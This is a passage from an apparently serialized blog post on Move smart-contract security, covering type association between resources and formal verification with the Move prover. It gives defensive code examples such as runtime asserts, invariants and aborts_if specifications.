," move_to",{"type":20,"tag":315,"props":5649,"children":5650},{"style":328},[5651],{"type":26,"value":1049},{"type":20,"tag":315,"props":5653,"children":5654},{"style":635},[5655],{"type":26,"value":5613},{"type":20,"tag":315,"props":5657,"children":5658},{"style":328},[5659],{"type":26,"value":44},{"type":20,"tag":315,"props":5661,"children":5662},{"style":322},[5663],{"type":26,"value":5198},{"type":20,"tag":315,"props":5665,"children":5666},{"style":328},[5667],{"type":26,"value":4199},{"type":20,"tag":315,"props":5669,"children":5670},{"style":322},[5671],{"type":26,"value":5297},{"type":20,"tag":315,"props":5673,"children":5674},{"style":328},[5675],{"type":26,"value":5676},"> {\n",{"type":20,"tag":315,"props":5678,"children":5679},{"class":317,"line":486},[5680],{"type":20,"tag":315,"props":5681,"children":5682},{"style":1071},[5683],{"type":26,"value":4569},{"type":20,"tag":315,"props":5685,"children":5686},{"class":317,"line":499},[5687],{"type":20,"tag":315,"props":5688,"children":5689},{"style":328},[5690],{"type":26,"value":5691}," });\n",{"type":20,"tag":29,"props":5693,"children":5694},{},[5695],{"type":26,"value":5696},"In both these instances, type association only works because we create exactly one instance per type.",{"type":20,"tag":29,"props":5698,"children":5699},{},[5700,5702,5708,5710,5716,5718,5723],{"type":26,"value":5701},"On the other hand, consider if you have a ",{"type":20,"tag":119,"props":5703,"children":5705},{"className":5704},[],[5706],{"type":26,"value":5707},"Position\u003CT>",{"type":26,"value":5709}," and a ",{"type":20,"tag":119,"props":5711,"children":5713},{"className":5712},[],[5714],{"type":26,"value":5715},"Market\u003CT>",{"type":26,"value":5717}," where ",{"type":20,"tag":119,"props":5719,"children":5721},{"className":5720},[],[5722],{"type":26,"value":4381},{"type":26,"value":5724}," is the coin type.",{"type":20,"tag":305,"props":5726,"children":5728},{"className":1360,"code":5727,"language":1359,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[5729],{"type":20,"tag":119,"props":5730,"children":5731},{"__ignoreMap":7},[5732,5760,5788,5795,5802,5809,5837,5857,5864],{"type":20,"tag":315,"props":5733,"children":5734},{"class":317,"line":318},[5735,5739,5744,5748,5752,5756],{"type":20,"tag":315,"props":5736,"children":5737},{"style":541},[5738],{"type":26,"value":4446},{"type":20,"tag":315,"props":5740,"children":5741},{"style":322},[5742],{"type":26,"value":5743}," Market",{"type":20,"tag":315,"props":5745,"children":5746},{"style":328},[5747],{"type":26,"value":4199},{"type":20,"tag":315,"props":5749,"children":5750},{"style":635},[5751],{"type":26,"value":4204},{"type":20,"tag":315,"props":5753,"children":5754},{"style":322},[5755],{"type":26,"value":4312},{"type":20,"tag":315,"props":5757,"children":5758},{"style":328},[5759],{"type":26,"value":5676},{"type":20,"tag":315,"props":5761,"children":5762},{"class":317,"line":356},[5763,5768,5772,5776,5780,5784],{"type":20,"tag":315,"props":5764,"children":5765},{"style":635},[5766],{"type":26,"value":5767}," reserves",{"type":20,"tag":315,"props":5769,"children":5770},{"style":334},[5771],{"type":26,"value":2884},{"type":20,"tag":315,"props":5773,"children":5774},{"style":322},[5775],{"type":26,"value":4194},{"type":20,"tag":315,"props":5777,"children":5778},{"style":328},[5779],{"type":26,"value":4199},{"type":20,"tag":315,"props":5781,"children":5782},{"style":322},[5783],{"type":26,"value":4381},{"type":20,"tag":315,"props":5785,"children":5786},{"style":328},[5787],{"type":26,"value":4532},{"type":20,"tag":315,"props":5789,"children":5790},{"class":317,"line":365},[5791],{"type":20,"tag":315,"props":5792,"children":5793},{"style":1071},[5794],{"type":26,"value":4569},{"type":20,"tag":315,"props":5796,"children":5797},{"class":317,"line":374},[5798],{"type":20,"tag":315,"props":5799,"children":5800},{"style":328},[5801],{"type":26,"value":1736},{"type":20,"tag":315,"props":5803,"children":5804},{"class":317,"line":383},[5805],{"type":20,"tag":315,"props":5806,"children":5807},{"emptyLinePlaceholder":15},[5808],{"type":26,"value":427},{"type":20,"tag":315,"props":5810,"children":5811},{"class":317,"line":407},[5812,5816,5821,5825,5829,5833],{"type":20,"tag":315,"props":5813,"children":5814},{"style":541},[5815],{"type":26,"value":4446},{"type":20,"tag":315,"props":5817,"children":5818},{"style":322},[5819],{"type":26,"value":5820}," Position",{"type":20,"tag":315,"props":5822,"children":5823},{"style":328},[5824],{"type":26,"value":4199},{"type":20,"tag":315,"props":5826,"children":5827},{"style":635},[5828],{"type":26,"value":4204},{"type":20,"tag":315,"props":5830,"children":5831},{"style":322},[5832],{"type":26,"value":4312},{"type":20,"tag":315,"props":5834,"children":5835},{"style":328},[5836],{"type":26,"value":5676},{"type":20,"tag":315,"props":5838,"children":5839},{"class":317,"line":421},[5840,5845,5849,5853],{"type":20,"tag":315,"props":5841,"children":5842},{"style":635},[5843],{"type":26,"value":5844}," amount",{"type":20,"tag":315,"props":5846,"children":5847},{"style":334},[5848],{"type":26,"value":2884},{"type":20,"tag":315,"props":5850,"children":5851},{"style":322},[5852],{"type":26,"value":4253},{"type":20,"tag":315,"props":5854,"children":5855},{"style":328},[5856],{"type":26,"value":643},{"type":20,"tag":315,"props":5858,"children":5859},{"class":317,"line":430},[5860],{"type":20,"tag":315,"props":5861,"children":5862},{"style":1071},[5863],{"type":26,"value":4569},{"type":20,"tag":315,"props":5865,"children":5866},{"class":317,"line":453},[5867],{"type":20,"tag":315,"props":5868,"children":5869},{"style":328},[5870],{"type":26,"value":1736},{"type":20,"tag":29,"props":5872,"children":5873},{},[5874,5876,5881,5883,5888],{"type":26,"value":5875},"If ",{"type":20,"tag":119,"props":5877,"children":5879},{"className":5878},[],[5880],{"type":26,"value":5715},{"type":26,"value":5882}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":20,"tag":119,"props":5884,"children":5886},{"className":5885},[],[5887],{"type":26,"value":4381},{"type":26,"value":5889}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":20,"tag":29,"props":5891,"children":5892},{},[5893],{"type":26,"value":5894},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":20,"tag":305,"props":5896,"children":5898},{"className":1360,"code":5897,"language":1359,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[5899],{"type":20,"tag":119,"props":5900,"children":5901},{"__ignoreMap":7},[5902,5910,5972,6021,6073,6098,6110,6132,6140,6153],{"type":20,"tag":315,"props":5903,"children":5904},{"class":317,"line":318},[5905],{"type":20,"tag":315,"props":5906,"children":5907},{"style":1071},[5908],{"type":26,"value":5909}," /// Get the price of the token per lamport.\n",{"type":20,"tag":315,"props":5911,"children":5912},{"class":317,"line":356},[5913,5918,5922,5927,5931,5936,5940,5945,5949,5953,5958,5963,5968],{"type":20,"tag":315,"props":5914,"children":5915},{"style":635},[5916],{"type":26,"value":5917}," public",{"type":20,"tag":315,"props":5919,"children":5920},{"style":635},[5921],{"type":26,"value":4601},{"type":20,"tag":315,"props":5923,"children":5924},{"style":345},[5925],{"type":26,"value":5926}," get_price",{"type":20,"tag":315,"props":5928,"children":5929},{"style":328},[5930],{"type":26,"value":1049},{"type":20,"tag":315,"props":5932,"children":5933},{"style":635},[5934],{"type":26,"value":5935},"type_info",{"type":20,"tag":315,"props":5937,"children":5938},{"style":334},[5939],{"type":26,"value":2884},{"type":20,"tag":315,"props":5941,"children":5942},{"style":322},[5943],{"type":26,"value":5944}," TypeInfo",{"type":20,"tag":315,"props":5946,"children":5947},{"style":328},[5948],{"type":26,"value":1509},{"type":20,"tag":315,"props":5950,"children":5951},{"style":334},[5952],{"type":26,"value":2884},{"type":20,"tag":315,"props":5954,"children":5955},{"style":322},[5956],{"type":26,"value":5957}," Decimal",{"type":20,"tag":315,"props":5959,"children":5960},{"style":635},[5961],{"type":26,"value":5962}," acquires",{"type":20,"tag":315,"props":5964,"children":5965},{"style":322},[5966],{"type":26,"value":5967}," Oracle",{"type":20,"tag":315,"props":5969,"children":5970},{"style":328},[5971],{"type":26,"value":1092},{"type":20,"tag":315,"props":5973,"children":5974},{"class":317,"line":365},[5975,5979,5984,5988,5993,5997,6002,6007,6012,6017],{"type":20,"tag":315,"props":5976,"children":5977},{"style":541},[5978],{"type":26,"value":1445},{"type":20,"tag":315,"props":5980,"children":5981},{"style":635},[5982],{"type":26,"value":5983}," oracle",{"type":20,"tag":315,"props":5985,"children":5986},{"style":334},[5987],{"type":26,"value":1395},{"type":20,"tag":315,"props":5989,"children":5990},{"style":635},[5991],{"type":26,"value":5992}," borrow_global_mut",{"type":20,"tag":315,"props":5994,"children":5995},{"style":328},[5996],{"type":26,"value":4199},{"type":20,"tag":315,"props":5998,"children":5999},{"style":322},[6000],{"type":26,"value":6001},"Oracle",{"type":20,"tag":315,"props":6003,"children":6004},{"style":328},[6005],{"type":26,"value":6006},">(",{"type":20,"tag":315,"props":6008,"children":6009},{"style":334},[6010],{"type":26,"value":6011},"@",{"type":20,"tag":315,"props":6013,"children":6014},{"style":635},[6015],{"type":26,"value":6016},"oracle",{"type":20,"tag":315,"props":6018,"children":6019},{"style":328},[6020],{"type":26,"value":2214},{"type":20,"tag":315,"props":6022,"children":6023},{"class":317,"line":374},[6024,6028,6033,6037,6042,6046,6051,6055,6060,6064,6069],{"type":20,"tag":315,"props":6025,"children":6026},{"style":541},[6027],{"type":26,"value":1445},{"type":20,"tag":315,"props":6029,"children":6030},{"style":635},[6031],{"type":26,"value":6032}," price",{"type":20,"tag":315,"props":6034,"children":6035},{"style":334},[6036],{"type":26,"value":1395},{"type":20,"tag":315,"props":6038,"children":6039},{"style":328},[6040],{"type":26,"value":6041}," table",{"type":20,"tag":315,"props":6043,"children":6044},{"style":334},[6045],{"type":26,"value":1861},{"type":20,"tag":315,"props":6047,"children":6048},{"style":635},[6049],{"type":26,"value":6050},"borrow_mut_with_default",{"type":20,"tag":315,"props":6052,"children":6053},{"style":328},[6054],{"type":26,"value":4199},{"type":20,"tag":315,"props":6056,"children":6057},{"style":322},[6058],{"type":26,"value":6059},"TypeInfo",{"type":20,"tag":315,"props":6061,"children":6062},{"style":328},[6063],{"type":26,"value":44},{"type":20,"tag":315,"props":6065,"children":6066},{"style":322},[6067],{"type":26,"value":6068},"Decimal",{"type":20,"tag":315,"props":6070,"children":6071},{"style":328},[6072],{"type":26,"value":4983},{"type":20,"tag":315,"props":6074,"children":6075},{"class":317,"line":383},[6076,6081,6085,6089,6093],{"type":20,"tag":315,"props":6077,"children":6078},{"style":334},[6079],{"type":26,"value":6080}," &",{"type":20,"tag":315,"props":6082,"children":6083},{"style":541},[6084],{"type":26,"value":2107},{"type":20,"tag":315,"props":6086,"children":6087},{"style":635},[6088],{"type":26,"value":5983},{"type":20,"tag":315,"props":6090,"children":6091},{"style":334},[6092],{"type":26,"value":61},{"type":20,"tag":315,"props":6094,"children":6095},{"style":328},[6096],{"type":26,"value":6097},"prices,\n",{"type":20,"tag":315,"props":6099,"children":6100},{"class":317,"line":407},[6101,6106],{"type":20,"tag":315,"props":6102,"children":6103},{"style":635},[6104],{"type":26,"value":6105}," type_info",{"type":20,"tag":315,"props":6107,"children":6108},{"style":328},[6109],{"type":26,"value":643},{"type":20,"tag":315,"props":6111,"children":6112},{"class":317,"line":421},[6113,6118,6122,6127],{"type":20,"tag":315,"props":6114,"children":6115},{"style":328},[6116],{"type":26,"value":6117}," decimal",{"type":20,"tag":315,"props":6119,"children":6120},{"style":334},[6121],{"type":26,"value":1861},{"type":20,"tag":315,"props":6123,"children":6124},{"style":345},[6125],{"type":26,"value":6126},"one",{"type":20,"tag":315,"props":6128,"children":6129},{"style":328},[6130],{"type":26,"value":6131},"()\n",{"type":20,"tag":315,"props":6133,"children":6134},{"class":317,"line":430},[6135],{"type":20,"tag":315,"props":6136,"children":6137},{"style":328},[6138],{"type":26,"value":6139}," );\n",{"type":20,"tag":315,"props":6141,"children":6142},{"class":317,"line":453},[6143,6148],{"type":20,"tag":315,"props":6144,"children":6145},{"style":334},[6146],{"type":26,"value":6147}," *",{"type":20,"tag":315,"props":6149,"children":6150},{"style":635},[6151],{"type":26,"value":6152},"price\n",{"type":20,"tag":315,"props":6154,"children":6155},{"class":317,"line":486},[6156],{"type":20,"tag":315,"props":6157,"children":6158},{"style":328},[6159],{"type":26,"value":1736},{"type":20,"tag":29,"props":6161,"children":6162},{},[6163,6165,6170],{"type":26,"value":6164},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":20,"tag":55,"props":6166,"children":6167},{},[6168],{"type":26,"value":6169},"instance",{"type":26,"value":6171}," of another resource (which is possible in Diem style move).",{"type":20,"tag":29,"props":6173,"children":6174},{},[6175],{"type":26,"value":6176},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":20,"tag":68,"props":6178,"children":6179},{},[6180,6185],{"type":20,"tag":72,"props":6181,"children":6182},{},[6183],{"type":26,"value":6184},"Have unique initializers for your resources",{"type":20,"tag":72,"props":6186,"children":6187},{},[6188],{"type":26,"value":6189},"Associate resources with instances directly",{"type":20,"tag":21,"props":6191,"children":6193},{"id":6192},"formal-verification",[6194],{"type":26,"value":6195},"Formal Verification",{"type":20,"tag":29,"props":6197,"children":6198},{},[6199],{"type":26,"value":6200},"Formal verification is another exciting feature.",{"type":20,"tag":29,"props":6202,"children":6203},{},[6204],{"type":26,"value":6205},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":20,"tag":29,"props":6207,"children":6208},{},[6209,6211,6216],{"type":26,"value":6210},"However, this isn't a silver bullet. The key is figuring out ",{"type":20,"tag":55,"props":6212,"children":6213},{},[6214],{"type":26,"value":6215},"what",{"type":26,"value":6217}," to prove.",{"type":20,"tag":29,"props":6219,"children":6220},{},[6221,6223,6230],{"type":26,"value":6222},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":20,"tag":35,"props":6224,"children":6227},{"href":6225,"rel":6226},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[39],[6228],{"type":26,"value":6229},"Solana AMM rounding issue",{"type":26,"value":6231}," we reported.",{"type":20,"tag":29,"props":6233,"children":6234},{},[6235],{"type":26,"value":6236},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":20,"tag":305,"props":6238,"children":6240},{"className":1360,"code":6239,"language":1359,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[6241],{"type":20,"tag":119,"props":6242,"children":6243},{"__ignoreMap":7},[6244,6305],{"type":20,"tag":315,"props":6245,"children":6246},{"class":317,"line":318},[6247,6252,6257,6261,6266,6270,6275,6279,6283,6288,6292,6296,6301],{"type":20,"tag":315,"props":6248,"children":6249},{"style":541},[6250],{"type":26,"value":6251}," let",{"type":20,"tag":315,"props":6253,"children":6254},{"style":635},[6255],{"type":26,"value":6256}," cmp",{"type":20,"tag":315,"props":6258,"children":6259},{"style":334},[6260],{"type":26,"value":1395},{"type":20,"tag":315,"props":6262,"children":6263},{"style":328},[6264],{"type":26,"value":6265}," u256",{"type":20,"tag":315,"props":6267,"children":6268},{"style":334},[6269],{"type":26,"value":1861},{"type":20,"tag":315,"props":6271,"children":6272},{"style":345},[6273],{"type":26,"value":6274},"compare",{"type":20,"tag":315,"props":6276,"children":6277},{"style":328},[6278],{"type":26,"value":1049},{"type":20,"tag":315,"props":6280,"children":6281},{"style":334},[6282],{"type":26,"value":1490},{"type":20,"tag":315,"props":6284,"children":6285},{"style":635},[6286],{"type":26,"value":6287},"lp_value_after_swap_and_fee",{"type":20,"tag":315,"props":6289,"children":6290},{"style":328},[6291],{"type":26,"value":44},{"type":20,"tag":315,"props":6293,"children":6294},{"style":334},[6295],{"type":26,"value":1490},{"type":20,"tag":315,"props":6297,"children":6298},{"style":635},[6299],{"type":26,"value":6300},"lp_value_before_swap_u256",{"type":20,"tag":315,"props":6302,"children":6303},{"style":328},[6304],{"type":26,"value":2214},{"type":20,"tag":315,"props":6306,"children":6307},{"class":317,"line":356},[6308,6313,6317,6322,6326,6331],{"type":20,"tag":315,"props":6309,"children":6310},{"style":345},[6311],{"type":26,"value":6312}," assert!",{"type":20,"tag":315,"props":6314,"children":6315},{"style":328},[6316],{"type":26,"value":1049},{"type":20,"tag":315,"props":6318,"children":6319},{"style":635},[6320],{"type":26,"value":6321},"cmp",{"type":20,"tag":315,"props":6323,"children":6324},{"style":334},[6325],{"type":26,"value":1664},{"type":20,"tag":315,"props":6327,"children":6328},{"style":765},[6329],{"type":26,"value":6330}," 2",{"type":20,"tag":315,"props":6332,"children":6333},{"style":328},[6334],{"type":26,"value":6335},", ERR_INCORRECT_SWAP);\n",{"type":20,"tag":29,"props":6337,"children":6338},{},[6339,6341,6346],{"type":26,"value":6340},"The move prover really shines when we're proving relationships ",{"type":20,"tag":55,"props":6342,"children":6343},{},[6344],{"type":26,"value":6345},"between",{"type":26,"value":6347}," functions.",{"type":20,"tag":29,"props":6349,"children":6350},{},[6351,6353,6359],{"type":26,"value":6352},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":20,"tag":119,"props":6354,"children":6356},{"className":6355},[],[6357],{"type":26,"value":6358},"no_free_money_theorem",{"type":26,"value":6360}," in the move repository.",{"type":20,"tag":305,"props":6362,"children":6364},{"className":1360,"code":6363,"language":1359,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[6365],{"type":20,"tag":119,"props":6366,"children":6367},{"__ignoreMap":7},[6368,6376,6464,6506,6527,6534,6550,6576,6603,6628],{"type":20,"tag":315,"props":6369,"children":6370},{"class":317,"line":318},[6371],{"type":20,"tag":315,"props":6372,"children":6373},{"style":1071},[6374],{"type":26,"value":6375}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":20,"tag":315,"props":6377,"children":6378},{"class":317,"line":356},[6379,6383,6388,6392,6397,6401,6405,6409,6414,6418,6422,6426,6430,6434,6439,6443,6447,6451,6455,6460],{"type":20,"tag":315,"props":6380,"children":6381},{"style":635},[6382],{"type":26,"value":4964},{"type":20,"tag":315,"props":6384,"children":6385},{"style":345},[6386],{"type":26,"value":6387}," no_free_money_theorem",{"type":20,"tag":315,"props":6389,"children":6390},{"style":328},[6391],{"type":26,"value":1049},{"type":20,"tag":315,"props":6393,"children":6394},{"style":635},[6395],{"type":26,"value":6396},"coin1_in",{"type":20,"tag":315,"props":6398,"children":6399},{"style":334},[6400],{"type":26,"value":2884},{"type":20,"tag":315,"props":6402,"children":6403},{"style":322},[6404],{"type":26,"value":4253},{"type":20,"tag":315,"props":6406,"children":6407},{"style":328},[6408],{"type":26,"value":44},{"type":20,"tag":315,"props":6410,"children":6411},{"style":635},[6412],{"type":26,"value":6413},"coin2_in",{"type":20,"tag":315,"props":6415,"children":6416},{"style":334},[6417],{"type":26,"value":2884},{"type":20,"tag":315,"props":6419,"children":6420},{"style":322},[6421],{"type":26,"value":4253},{"type":20,"tag":315,"props":6423,"children":6424},{"style":328},[6425],{"type":26,"value":1509},{"type":20,"tag":315,"props":6427,"children":6428},{"style":334},[6429],{"type":26,"value":2884},{"type":20,"tag":315,"props":6431,"children":6432},{"style":328},[6433],{"type":26,"value":463},{"type":20,"tag":315,"props":6435,"children":6436},{"style":322},[6437],{"type":26,"value":6438},"u64",{"type":20,"tag":315,"props":6440,"children":6441},{"style":328},[6442],{"type":26,"value":44},{"type":20,"tag":315,"props":6444,"children":6445},{"style":322},[6446],{"type":26,"value":6438},{"type":20,"tag":315,"props":6448,"children":6449},{"style":328},[6450],{"type":26,"value":1468},{"type":20,"tag":315,"props":6452,"children":6453},{"style":635},[6454],{"type":26,"value":4738},{"type":20,"tag":315,"props":6456,"children":6457},{"style":322},[6458],{"type":26,"value":6459}," Pool",{"type":20,"tag":315,"props":6461,"children":6462},{"style":328},[6463],{"type":26,"value":1092},{"type":20,"tag":315,"props":6465,"children":6466},{"class":317,"line":365},[6467,6472,6477,6481,6486,6490,6494,6498,6502],{"type":20,"tag":315,"props":6468,"children":6469},{"style":541},[6470],{"type":26,"value":6471}," let",{"type":20,"tag":315,"props":6473,"children":6474},{"style":635},[6475],{"type":26,"value":6476}," share",{"type":20,"tag":315,"props":6478,"children":6479},{"style":334},[6480],{"type":26,"value":1395},{"type":20,"tag":315,"props":6482,"children":6483},{"style":345},[6484],{"type":26,"value":6485}," add_liquidity",{"type":20,"tag":315,"props":6487,"children":6488},{"style":328},[6489],{"type":26,"value":1049},{"type":20,"tag":315,"props":6491,"children":6492},{"style":635},[6493],{"type":26,"value":6396},{"type":20,"tag":315,"props":6495,"children":6496},{"style":328},[6497],{"type":26,"value":44},{"type":20,"tag":315,"props":6499,"children":6500},{"style":635},[6501],{"type":26,"value":6413},{"type":20,"tag":315,"props":6503,"children":6504},{"style":328},[6505],{"type":26,"value":2214},{"type":20,"tag":315,"props":6507,"children":6508},{"class":317,"line":374},[6509,6514,6518,6523],{"type":20,"tag":315,"props":6510,"children":6511},{"style":345},[6512],{"type":26,"value":6513}," remove_liquidity",{"type":20,"tag":315,"props":6515,"children":6516},{"style":328},[6517],{"type":26,"value":1049},{"type":20,"tag":315,"props":6519,"children":6520},{"style":635},[6521],{"type":26,"value":6522},"share",{"type":20,"tag":315,"props":6524,"children":6525},{"style":328},[6526],{"type":26,"value":380},{"type":20,"tag":315,"props":6528,"children":6529},{"class":317,"line":383},[6530],{"type":20,"tag":315,"props":6531,"children":6532},{"style":328},[6533],{"type":26,"value":4265},{"type":20,"tag":315,"props":6535,"children":6536},{"class":317,"line":407},[6537,6542,6546],{"type":20,"tag":315,"props":6538,"children":6539},{"style":635},[6540],{"type":26,"value":6541}," spec",{"type":20,"tag":315,"props":6543,"children":6544},{"style":635},[6545],{"type":26,"value":6387},{"type":20,"tag":315,"props":6547,"children":6548},{"style":328},[6549],{"type":26,"value":1092},{"type":20,"tag":315,"props":6551,"children":6552},{"class":317,"line":421},[6553,6558,6563,6567,6572],{"type":20,"tag":315,"props":6554,"children":6555},{"style":635},[6556],{"type":26,"value":6557}," pragma",{"type":20,"tag":315,"props":6559,"children":6560},{"style":635},[6561],{"type":26,"value":6562}," verify",{"type":20,"tag":315,"props":6564,"children":6565},{"style":334},[6566],{"type":26,"value":337},{"type":20,"tag":315,"props":6568,"children":6569},{"style":541},[6570],{"type":26,"value":6571},"false",{"type":20,"tag":315,"props":6573,"children":6574},{"style":328},[6575],{"type":26,"value":1405},{"type":20,"tag":315,"props":6577,"children":6578},{"class":317,"line":430},[6579,6584,6589,6594,6599],{"type":20,"tag":315,"props":6580,"children":6581},{"style":635},[6582],{"type":26,"value":6583}," ensures",{"type":20,"tag":315,"props":6585,"children":6586},{"style":635},[6587],{"type":26,"value":6588}," result_1",{"type":20,"tag":315,"props":6590,"children":6591},{"style":334},[6592],{"type":26,"value":6593}," \u003C=",{"type":20,"tag":315,"props":6595,"children":6596},{"style":635},[6597],{"type":26,"value":6598}," coin1_in",{"type":20,"tag":315,"props":6600,"children":6601},{"style":328},[6602],{"type":26,"value":1405},{"type":20,"tag":315,"props":6604,"children":6605},{"class":317,"line":453},[6606,6610,6615,6619,6624],{"type":20,"tag":315,"props":6607,"children":6608},{"style":635},[6609],{"type":26,"value":6583},{"type":20,"tag":315,"props":6611,"children":6612},{"style":635},[6613],{"type":26,"value":6614}," result_2",{"type":20,"tag":315,"props":6616,"children":6617},{"style":334},[6618],{"type":26,"value":6593},{"type":20,"tag":315,"props":6620,"children":6621},{"style":635},[6622],{"type":26,"value":6623}," coin2_in",{"type":20,"tag":315,"props":6625,"children":6626},{"style":328},[6627],{"type":26,"value":1405},{"type":20,"tag":315,"props":6629,"children":6630},{"class":317,"line":486},[6631],{"type":20,"tag":315,"props":6632,"children":6633},{"style":328},[6634],{"type":26,"value":4265},{"type":20,"tag":29,"props":6636,"children":6637},{},[6638],{"type":26,"value":6639},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":20,"tag":29,"props":6641,"children":6642},{},[6643,6645,6650],{"type":26,"value":6644},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":20,"tag":55,"props":6646,"children":6647},{},[6648],{"type":26,"value":6649},"lot",{"type":26,"value":6651}," easier to reason about the protocol.",{"type":20,"tag":29,"props":6653,"children":6654},{},[6655],{"type":26,"value":6656},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":20,"tag":305,"props":6658,"children":6660},{"className":1360,"code":6659,"language":1359,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[6661],{"type":20,"tag":119,"props":6662,"children":6663},{"__ignoreMap":7},[6664,6681,6704],{"type":20,"tag":315,"props":6665,"children":6666},{"class":317,"line":318},[6667,6672,6677],{"type":20,"tag":315,"props":6668,"children":6669},{"style":635},[6670],{"type":26,"value":6671},"spec",{"type":20,"tag":315,"props":6673,"children":6674},{"style":322},[6675],{"type":26,"value":6676}," PoolState",{"type":20,"tag":315,"props":6678,"children":6679},{"style":328},[6680],{"type":26,"value":1092},{"type":20,"tag":315,"props":6682,"children":6683},{"class":317,"line":356},[6684,6689,6694,6699],{"type":20,"tag":315,"props":6685,"children":6686},{"style":635},[6687],{"type":26,"value":6688}," invariant",{"type":20,"tag":315,"props":6690,"children":6691},{"style":635},[6692],{"type":26,"value":6693}," supply",{"type":20,"tag":315,"props":6695,"children":6696},{"style":334},[6697],{"type":26,"value":6698}," >=",{"type":20,"tag":315,"props":6700,"children":6701},{"style":328},[6702],{"type":26,"value":6703}," MINIMUM_LIQUIDITY;\n",{"type":20,"tag":315,"props":6705,"children":6706},{"class":317,"line":365},[6707],{"type":20,"tag":315,"props":6708,"children":6709},{"style":328},[6710],{"type":26,"value":577},{"type":20,"tag":29,"props":6712,"children":6713},{},[6714,6716,6722,6724,6730],{"type":26,"value":6715},"Another useful pattern for the Move prover is ",{"type":20,"tag":119,"props":6717,"children":6719},{"className":6718},[],[6720],{"type":26,"value":6721},"aborts_if",{"type":26,"value":6723},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":20,"tag":119,"props":6725,"children":6727},{"className":6726},[],[6728],{"type":26,"value":6729},"aborts_if false",{"type":26,"value":61},{"type":20,"tag":29,"props":6732,"children":6733},{},[6734],{"type":26,"value":6735},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":20,"tag":305,"props":6737,"children":6739},{"className":1360,"code":6738,"language":1359,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[6740],{"type":20,"tag":119,"props":6741,"children":6742},{"__ignoreMap":7},[6743,6807,6849,6872,6917,6930,6942,6980,7003,7091,7099,7124,7132,7153,7173,7273,7281,7310,7318,7330,7354,7389,7396,7404,7411,7426,7442,7460,7505,7611],{"type":20,"tag":315,"props":6744,"children":6745},{"class":317,"line":318},[6746,6750,6755,6759,6764,6768,6773,6777,6781,6786,6790,6794,6798,6803],{"type":20,"tag":315,"props":6747,"children":6748},{"style":635},[6749],{"type":26,"value":4964},{"type":20,"tag":315,"props":6751,"children":6752},{"style":345},[6753],{"type":26,"value":6754}," multiply_vec_by_n_coins",{"type":20,"tag":315,"props":6756,"children":6757},{"style":328},[6758],{"type":26,"value":1049},{"type":20,"tag":315,"props":6760,"children":6761},{"style":635},[6762],{"type":26,"value":6763},"input",{"type":20,"tag":315,"props":6765,"children":6766},{"style":334},[6767],{"type":26,"value":2884},{"type":20,"tag":315,"props":6769,"children":6770},{"style":635},[6771],{"type":26,"value":6772}," 